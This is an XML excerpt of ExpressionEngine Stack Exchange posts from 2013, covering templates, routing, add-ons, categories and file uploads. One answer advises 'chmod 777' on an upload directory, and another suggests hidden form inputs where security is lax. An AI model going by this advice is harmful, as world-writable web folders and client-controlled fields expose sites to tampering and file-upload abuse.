  <row Id="15334" PostTypeId="2" ParentId="15332" CreationDate="2013-11-03T23:08:38.733" Score="4" Body="&lt;p&gt;It appears that the behavior you're experiencing is an accepted bug, at least for the status. See the &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19788&quot; rel=&quot;nofollow&quot;&gt;bug tracker&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't appear to be a fix posted, but you could potentially create the status and category fields as hidden inputs, if security isn't a big concern.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-03T23:08:38.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15335" PostTypeId="1" AcceptedAnswerId="15336" CreationDate="2013-11-03T23:16:00.903" Score="1" ViewCount="177" Body="&lt;p&gt;I recently discovered that member pages for my EE site are showing up in Google search results, even though I'm not currently using members (beyond super admins) and I have no public member page templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the page I'm seeing: &lt;a href=&quot;http://www.weddingwise.co.nz/member/1&quot; rel=&quot;nofollow&quot;&gt;http://www.weddingwise.co.nz/member/1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to hide all pages with &quot;member&quot; in segment1 so they are not visible to public or to Google?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-11-03T23:35:34.463" Title="How to hide unused member pages from public/google" Tags="|templates|members|google|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15336" PostTypeId="2" ParentId="15335" CreationDate="2013-11-03T23:35:34.463" Score="5" Body="&lt;p&gt;Under Members -&gt; Preferences in the control panel, you can set the Profile Triggering Word (see &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/membership_preferences.html#profile-triggering-word&quot;&gt;docs&lt;/a&gt;) to &lt;code&gt;%&lt;/code&gt; which will make them completely inaccessible from the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another technique is to configure it randomly in the config.php like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['profile_trigger'] = rand(0,time());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-03T23:35:34.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15337" PostTypeId="1" CreationDate="2013-11-04T04:05:48.653" Score="2" ViewCount="76" Body="&lt;p&gt;I had been using EE 1.7 and I could always download a loaded image to check for a large size or formatting problem from the backend. Now with 2.5.5, I am not able to download the images  or otherwise see what might be the problem. How do I find out what might be wrong with the images?&lt;/p&gt;&#xA;" OwnerUserId="2315" LastEditorUserId="69" LastEditDate="2013-11-04T10:51:25.437" LastActivityDate="2013-11-05T10:18:56.217" Title="A user loaded 7 images in EE 2.5.5. Two images are missing from the front end display" Tags="|file-uploads|image|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15338" PostTypeId="2" ParentId="15323" CreationDate="2013-11-04T06:52:12.720" Score="2" Body="&lt;p&gt;In Assets 2.2.2 you can't create folders that begin with an underscore. Until we release 2.2.3 it &lt;em&gt;is&lt;/em&gt; possible to rename a folder to a name that begins with an underscore, but this is a bad idea, as you'll be unable to index these files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the reason why:&lt;br&gt;&#xA;1) Since Assets now supports multiple source types, to eliminate the need for querying S3 and other types of servers every time you access a folder, we had to implement an index of all files and all folders.&lt;br&gt;&#xA;2) Assets is compatible with EE Image Manipulations (for EE sources)&lt;br&gt;&#xA;3) Image manipulations are stored in folders that begin with underscores.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure you can see where this is going, but I'll explain, anyway. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Allowing the underscores would mean indexing every file in the image manipulation folder and creating a manipulation for those files. And indexing the created files and so on.&lt;/li&gt;&#xA;&lt;li&gt;Allowing folder names that are not used by image manipulations sounds great on paper, until somebody creates an image manipulation that matches the folder name and effectively makes the folder disappear from the File Manager. Not to mention that the user might upload some new files, create a bunch of image manipulations in the folder, delete the manipulation and then complain about how &quot;duplicate have appeared&quot;. This all is a support minefield.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, considering all this and the fact, that having a folder begin with an underscore is rarely a requirement and more often a &quot;I like it that way&quot; kind of thing, we decided to disallow folder names beginning with an underscore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think you have a strong case for having a folder name starting with an underscore, you can update to Assets 2.2.2 and edit the $_skip_folder_patterns array in the third_party/assets/helper.php file, but the support we can provide in cases of modified installations is pretty limited.&lt;/p&gt;&#xA;" OwnerUserId="722" LastEditorUserId="69" LastEditDate="2013-11-05T12:25:14.257" LastActivityDate="2013-11-05T12:25:14.257" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15339" PostTypeId="1" AcceptedAnswerId="15342" CreationDate="2013-11-04T07:27:02.707" Score="1" ViewCount="2544" Body="&lt;p&gt;I want to update a variable based on my module. I can pass the variable from the main template (say A) to the embedded one(say B). But how can I retrieve this variable back in Template A after updating the variable from B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there any other way to use a variable in a template and gets updated from a module and the updated variable to be used in the proceeding exp: calls to the module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to update the variable, I always get the first assigned value.I think the issue is with the parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone knows, please help how to handle this requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2126" LastActivityDate="2013-11-04T12:12:18.610" Title="Variables in templates" Tags="|templates|variable|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15340" PostTypeId="2" ParentId="15339" CreationDate="2013-11-04T08:48:13.493" Score="1" Body="&lt;p&gt;If you need to modify the variable in the process of template parsing, I would suggest creating a plugin that will utilize &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#cache-access&quot; rel=&quot;nofollow&quot;&gt;EE Session cache&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your exact needs, you may find &lt;a href=&quot;http://devot-ee.com/add-ons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; useful as well.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-11-04T08:48:13.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15341" PostTypeId="1" AcceptedAnswerId="15349" CreationDate="2013-11-04T08:58:36.270" Score="3" ViewCount="124" Body="&lt;p&gt;At the moment I'm strugling with the pages module and the page uri. I have the following page created with the pages module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;members&#xA; |- members/calendar&#xA; |- members/safety&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I visit the URL &lt;code&gt;www.mypage.com/members&lt;/code&gt; I will see the correct page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I visit the URL &lt;code&gt;www.mypage.com/members/calendar&lt;/code&gt;, I will see the correct page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I visit the URL &lt;code&gt;www.mypage.com/members/calendar/2013-12&lt;/code&gt;, the &lt;code&gt;/members&lt;/code&gt; page is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need the calendar page and the last segment is a kind of variable. I use the Low Events calandar on the calandar page. Strict URL is &quot;off&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I put a question mark in the url &lt;code&gt;www.mypage.com/members/calendar/?2013-12&lt;/code&gt; the calandar is shown, but now there is no &lt;code&gt;segment_3&lt;/code&gt; that I can use in selecting the month in the low events calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this issue?&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2013-11-04T13:20:52.483" Title="Problems with pages module and page url" Tags="|url|pages|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15342" PostTypeId="2" ParentId="15339" CreationDate="2013-11-04T09:19:02.740" Score="2" Body="&lt;p&gt;Embeds are normally parsed at the end.&lt;br&gt;&#xA;You can try setting a variable with Stash.&lt;br&gt;&#xA;In the main-template get the variable at process-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better approach is to use stash to store your data&lt;br&gt;&#xA;in the first place, and avoid an extra embed altogether.&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// template1 -----------------------------------------&#xA;{exp:stash:set name=&quot;myvar&quot;}value1{/exp:stash:set}&#xA;&amp;lt;h1&amp;gt;Test1&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;The value is: {exp:stash:get name=&quot;myvar&quot; process=&quot;end&quot;}&amp;lt;/p&amp;gt;&#xA;{embed=&quot;group/template2&quot;}&#xA;&#xA;// template2 -----------------------------------------&#xA;&amp;lt;h2&amp;gt;The embed&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;myvar: {exp:stash:get name=&quot;myvar&quot;}&amp;lt;/p&amp;gt;&#xA;{exp:stash:set name=&quot;myvar&quot;}value-embed{/exp:stash:set}&#xA;&#xA;// output --------------------------------------------&#xA;Test1&#xA;The value is: value-embed&#xA;The embed&#xA;myvar: value1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-11-04T12:12:18.610" LastActivityDate="2013-11-04T12:12:18.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15343" PostTypeId="2" ParentId="14492" CreationDate="2013-11-04T09:37:00.710" Score="0" Body="&lt;p&gt;I couldn't get this to work unfortunately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up using a custom member field name in a select drop down populated by categories, so the client could update and change the list options.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2013-11-04T09:37:00.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15344" PostTypeId="2" ParentId="15341" CreationDate="2013-11-04T09:48:52.660" Score="3" Body="&lt;p&gt;Since you want the page content to be dynamic and not static the proper way to do this would be via the regular ExpressionEngine group/template/entry url parsing structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Pages module is really for making &quot;static&quot; content. It looks for specific URLs and will not look for partial URLs then take the remainder as parameters - this is what the normal URL parsing is for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why are you using it in preference for the &quot;normal&quot; method in this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there is no Pages URL for /members/calendar/2013-12 the system defaults back to regular URL parsing which is why you get the members page.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-11-04T09:48:52.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15345" PostTypeId="1" CreationDate="2013-11-04T10:24:16.403" Score="2" ViewCount="254" Body="&lt;p&gt;I'm certain this question must have come up before, but can't find any mention of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to filter out entries that are assigned to a parent category. I'm using this tag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; dynamic=&quot;no&quot; limit=&quot;3&quot; category=&quot;not 32&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but this &lt;em&gt;includes&lt;/em&gt; those entries categorised with child categories of category 32, and will only filter out those entries that are assigned just that one specific category. I want to retain the Auto-assign parent category functionality for my entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I could achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1315" LastActivityDate="2013-11-05T13:47:14.247" Title="Filter out entries belonging to a parent category" Tags="|channel-entries|categories|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15346" PostTypeId="2" ParentId="15337" CreationDate="2013-11-04T10:27:52.817" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do I find out what might be wrong with the images?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There could be one (or more) of several things going on. Here are some things to check:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify that you can upload an image to the upload directory in question. Content &amp;rarr; Files &amp;rarr; File Manager &amp;rarr; click &quot;Upload File&quot; button and upload to your directory. If you succeed then your images are uploading just fine you may have another issue. If the upload doesn't work continue...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify you can synchronize the file upload directory in EE. Content &amp;rarr; Files &amp;rarr; File Upload Preferences &amp;rarr; click the synchronize icon for the directory in question, then Submit on the following page. If you have trouble here, continue...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your path to this directory is correct in EE by clicking the Edit link on the File Upload Preferences page&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the folder exists on the server and has the proper permissions (most likely chmod 777).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat step 1 to see if any changes you made worked.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a Super Admin can upload but another member group cannot, check the member group's upload permissions via the same File Upload Preferences.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is not exhuastive, but should help you in locating most issues or ruling out the most basic of issues normally encountered with file upload issues.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-04T10:27:52.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15347" PostTypeId="2" ParentId="15345" CreationDate="2013-11-04T12:32:08.963" Score="2" Body="&lt;p&gt;We really need a parameter to do this. Unfortunately, we don't have. So, while this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;pages/.entries&quot;&#xA;    to_exclude=&quot;{exp:channel:categories style='linear' backspace='1' show='32'}{category_id}|{/exp:channel:categories}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On your embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; dynamic=&quot;no&quot; limit=&quot;3&quot; category=&quot;not {embed:to_exclude}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-11-04T12:32:08.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15348" PostTypeId="1" AcceptedAnswerId="15351" CreationDate="2013-11-04T12:53:26.700" Score="1" ViewCount="241" Body="&lt;p&gt;I am using Wygwam 3.2.1 and it has been working fine, but now the field titles are showing on the entry screens but the field and text that had been previously entered is not visible. (it is still showing on the actual rendered website) It almost looks like it's minimised on the entry screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to overwrite the themes and system folders for Wygwam and run the module update, but still no go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone help??&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2013-11-04T13:42:49.860" Title="Wygwam fields disappeared from entry screen" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15349" PostTypeId="2" ParentId="15341" CreationDate="2013-11-04T13:20:52.483" Score="4" Body="&lt;p&gt;This is what the &lt;a href=&quot;http://devot-ee.com/add-ons/template-routes&quot; rel=&quot;nofollow&quot;&gt;Template Routes&lt;/a&gt; add-on was made for. In your EE config.php, add your template routes config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['template_routes'] = array(&#xA;  ':page:XX/(\d{4}-\d{2})' =&amp;gt; 'site/member-calendar',&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where XX is the entry_id of the members/calendar entry and 'site/member-calendar' is the template_group/template_name of your template.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-11-04T13:20:52.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15351" PostTypeId="2" ParentId="15348" CreationDate="2013-11-04T13:42:49.860" Score="2" Body="&lt;p&gt;I have solved the problem: I had added my own styles.js file but the link had an error in it. It was preventing Wygwam from loading. &lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2013-11-04T13:42:49.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15352" PostTypeId="1" AcceptedAnswerId="15355" CreationDate="2013-11-04T14:53:06.700" Score="2" ViewCount="132" Body="&lt;p&gt;I am using freemember forms to create my &quot;registration&quot; page. I have two custom member fields &quot;employee last name&quot; and &quot;employee id&quot;. I added them in the &quot;custom member fields&quot; section. I need to make these two fields unique and fail the registration process if the values entered in the registration process are duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not find &quot;unique&quot; attribute in the custom member fields. Only &quot;required&quot; attribute. any help in this regards will be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1814" LastActivityDate="2013-11-04T16:00:35.287" Title="Custom Member fields to be unique" Tags="|freemember|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15353" PostTypeId="1" CreationDate="2013-11-04T14:59:01.503" Score="1" ViewCount="80" Body="&lt;p&gt;I'm getting an error when trying to call a channel entries tag from inside of {items}. If I remove the channel entries it's fine:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;&#xA;    {items}&#xA;&#xA;        {exp:channel:entries}&#xA;            {title}&#xA;        {/exp:channel:entries}&#xA;&#xA;    {/items}&#xA;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The error is just a notice, but an error nonetheless:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;&lt;p&gt;Message: Undefined property: EE::$typography&lt;/p&gt;&#xA;&lt;p&gt;Filename: core/EE_Output.php&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 308&lt;/p&gt;&#xA;&lt;p&gt;Fatal error: Call to a member function parse_type() on a non-object in /Sites/mysite.com/source/ee/expressionengine/core/EE_Output.php on line 308&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&lt;p&gt;This is on EE 2.7.2, latest Store.&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-11-05T01:02:02.263" Title="Output error from cart items" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15355" PostTypeId="2" ParentId="15352" CreationDate="2013-11-04T16:00:35.287" Score="1" Body="&lt;p&gt;I don't think that there is anything in Freemember that you can use to force the values to be unique out of the box. Having said that you can do it with a bit of AJAX in your template. MadeByHippo posted an example of it on their blog a while back that might be of interest for you. &lt;a href=&quot;http://www.madebyhippo.com/blog/view/clientside_username_checking_ee_and_jquery&quot; rel=&quot;nofollow&quot;&gt;ClientSide Username Checking&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-11-04T16:00:35.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15356" PostTypeId="2" ParentId="15331" CreationDate="2013-11-04T16:09:20.150" Score="2" Body="&lt;p&gt;You will probably need to write an extension to handle something like this because currently if you have 2 modifier groups &quot;Size&quot; and &quot;Material&quot; you would set how each modifier in each group effects the price individually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically if 300mm added £50 it would add that and then if Mahogany added an additional £50 that would be selected. In a situation where I selected 500mm and Mahogany it would still only add £50 for the Mahogany selection and then whatever you have set the price for 500mm.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to use the limit stock option however to prevent certain configurations from being selected.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-11-05T18:54:41.537" LastActivityDate="2013-11-05T18:54:41.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15358" PostTypeId="1" AcceptedAnswerId="15377" CreationDate="2013-11-04T16:56:40.213" Score="1" ViewCount="140" Body="&lt;p&gt;This error:&lt;br&gt;&#xA;Invalid EE Conditional Variable&lt;br&gt;&#xA;Filename: libraries/Functions.php&lt;br&gt;&#xA;Line Number: 2761&lt;/p&gt;&#xA;&#xA;&lt;p&gt;occurs when I have this code in a BrilliantRetail template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;&amp;lt;tr&amp;gt;&#xA;  &amp;lt;td class=&quot;product_info&quot;&amp;gt;&#xA;    {!--&#xA;        Only show the product image for publications or JM fund&#xA;    --}&#xA;    {if &quot;{sku}&quot; != &quot;CE_FEE&quot; AND  &#xA;        (preg_match('/^NOTE/',  &quot;{sku}&quot;) OR &#xA;         preg_match('/^PUB/',   &quot;{sku}&quot;) OR &#xA;         preg_match('/^EPUB/',  &quot;{sku}&quot;) OR&#xA;         preg_match('/^JMMRF/', &quot;{sku}&quot;)&#xA;        )&#xA;    }&#xA;         &amp;lt;img src=&quot;/media/{image_thumb}&quot; title=&quot;{title}&quot; alt=&quot;{title}&quot; width=&quot;100&quot;&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{exp:brilliant_retail:path src='product/{url_title}'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;    {options}&#xA;  &amp;lt;/td&amp;gt;&#xA;  &amp;lt;td class=&quot;align_center&quot;&amp;gt;{price_html}&amp;lt;/td&amp;gt;&#xA;  &amp;lt;td class=&quot;align_center&quot;&amp;gt;&amp;lt;input name=&quot;qty[{hash}]&quot; class=&quot;input_tiny&quot; type=&quot;text&quot; value=&quot;{quantity}&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;  &amp;lt;td class=&quot;align_center&quot;&amp;gt;{subtotal}&amp;lt;/td&amp;gt;&#xA;  &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{remove_link}&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;/images/icons/trash.png&quot; alt=&quot;Remove&quot; title=&quot;Remove Item&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This only began happening when I upgraded to 2.7.2. Worked perfectly with 2.5.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I check?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="28" LastEditDate="2013-11-04T17:03:22.417" LastActivityDate="2013-11-04T23:07:37.753" Title="Invalid EE Conditional Variable" Tags="|variable|brilliantretail|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15360" PostTypeId="2" ParentId="15353" CreationDate="2013-11-04T17:01:06.387" Score="1" Body="&lt;p&gt;Try moving your &lt;code&gt;{exp:channel:entries}&lt;/code&gt; into an embed template like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In your main template use:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA;    {items}&#xA;        {embed=&quot;store/items&quot;}&#xA;    {/items}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In your embed template use:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot;}&#xA;         {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;&lt;/strong&gt; rename &quot;store&quot; to your correct template group name&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-05T01:02:02.263" LastActivityDate="2013-11-05T01:02:02.263" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15361" PostTypeId="2" ParentId="15358" CreationDate="2013-11-04T17:10:55.990" Score="2" Body="&lt;p&gt;A good starting point for an error like this is to reduce your code... remove your conditional line by line until you find the offending line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try this patch posted to a similar EE bug:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/17989&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/17989&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-04T17:10:55.990" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15363" PostTypeId="2" ParentId="15333" CreationDate="2013-11-04T17:21:03.343" Score="1" Body="&lt;p&gt;The first thing I would try is ensure that all addons (fieldtypes, extenstions, modules, plugins) are updated and then re-uploading the 2.7.2 EE files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if that doesn't work, you may need to rollback to your backup of the site and try again.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-04T17:21:03.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15364" PostTypeId="1" AcceptedAnswerId="15368" CreationDate="2013-11-04T17:27:58.630" Score="1" ViewCount="173" Body="&lt;p&gt;I'm building a project request system for our organization and think I know what I want to do, but want to run it by some others first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our graphics department gets requests from staff and other departments for graphics projects: Newsletters, business cards, branding, posters, event promotion materials, etc. Right now they don't have a very good system, they are using email. People send an email and ask for what they need. THis often leads to many emails going back and forth before the graphics department has all the info they need. They have asked me to find some way to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;all info from online request form&lt;/li&gt;&#xA;&lt;li&gt;Status (Unassigned (red), Assigned (orange), With Designer (yellow), Out for Review (yellow), Out to Client (yellow), Sent to Print (green), Complete(blue)&lt;/li&gt;&#xA;&lt;li&gt;Priority (ASAP, High, Medium, Low)&lt;/li&gt;&#xA;&lt;li&gt;Date Submitted&lt;/li&gt;&#xA;&lt;li&gt;Billed (check box)&lt;/li&gt;&#xA;&lt;li&gt;estimate&lt;/li&gt;&#xA;&lt;li&gt;sent?(check box)&lt;/li&gt;&#xA;&lt;li&gt;project #&lt;/li&gt;&#xA;&lt;li&gt;notifications sent to designer when a project is assigned to them&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can do this all in ExpressionEngine at least two ways. The most obvious is to use a Channel and the Channel Form tags to do this on the front end. I could also use Freeform Pro (we are using it for other forms). It seems that using Channels/Channel Form (Safecracker) is the most straightforward approach. Would Freeform Pro offer any advantage? I'm leaning toward Channels right now since everything I'd need (Postmaster for the notifications for one) works natively with Channels and isn't fully supported in Freeform Pro. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, are there off the shelf solutions like Basecamp (but not Basecamp) that do this? We don't need the client to be able to edit their entries, just the graphics manager to see the entries, assign them to designers, and mark them as completed when they are done. Sort of a project dashboard for her to keep track of things.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-11-05T03:06:04.760" Title="Project request form system in EE: Freeform Pro vs Channel Form (SafeCracker)" Tags="|safecracker|solspace-freeform|solspace|channel-form|postmaster|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15365" PostTypeId="1" AcceptedAnswerId="15412" CreationDate="2013-11-04T17:52:53.453" Score="2" ViewCount="73" Body="&lt;p&gt;I'm having a similar issue to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11318/low-variables-with-matrix-and-assets&quot;&gt;this one&lt;/a&gt; but with a standard File field type instead of Assets. I tried just a File field type inside a Low Variable and it updated properly. This was dated bcd in June and it appears the problem was resolved with an update to Assets. Any ideas why this happens with the File field type? Solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2, Matrix 2.5.9, Low Variables 2.4.0&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-11-05T15:38:02.507" Title="File Field within Matrix inside a Low Variable fails to update file field on save" Tags="|matrix|file-uploads|low-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
